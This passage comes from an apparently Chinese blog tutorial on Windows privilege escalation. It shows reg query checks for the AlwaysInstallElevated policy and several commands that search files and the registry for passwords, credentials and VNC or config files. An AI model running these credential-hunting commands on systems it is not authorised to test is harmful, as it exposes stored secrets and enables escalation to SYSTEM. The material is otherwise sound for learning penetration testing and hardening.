                                      接下来的事情,我们要找一个奇怪的注册表设置“AlwaysInstallElevated”,如果这个设置被启用,它允许任何权限的用户暂时使用NT AUTHORITY\SYSTEM权限来安装*.msi文件。对我来说,你创建了一个低权限的用户(限制它们的操作系统的使用)但是给了它们使用SYSTEM权限来安装软件的能力是很奇怪的。想要进一步了解,请]

                                      为了能够使用这种方式,我们首先要执行以下语句:

                                      仅仅当存在键名:AlwaysInstallElevated且它的DWORD值是1才有效。

                                      1. C:\Windows\system32> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated 
                                      2. C:\Windows\system32> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated 
                                      3. 在这种情况下,我们可以获取一个SYSTEM权限的shell了。

                                        为了完成这部分,我们将在操作系统上做一些快速的搜索,并且希望我们可以打动老天爷。

                                        接下来的这条命令可以搜索system32下的所有名字包含以下几个关键字的文件,当然你可以手动指定关键字。

                                        1. C:\Windows\system32> dir /s *pass* == *cred* == *vnc* == *.config* 
                                        2. 搜索某些特定的文件类型,这可能搜索到大量的结果:

                                          1. C:\Windows\system32> findstr /si password *.xml *.ini *.txt 
                                          2. 相似的,接下来的两条命令都是用来搜索注册表的,keyword是password,你可以替换成任何你想要的。

                                            1. C:\Windows\system32> reg query HKLM /f password /t REG_SZ /s 
                                            2. C:\Windows\system32> reg query HKCU /f password /t REG_SZ /s 

本文链接:https://www.58ssl.cn/wangluoanquan/1437.html TAG:"Windows,测试,提权"转载请注明出处。

百度新闻 百度地图 谷歌地图
Copyright© 2010-2020 SSL之家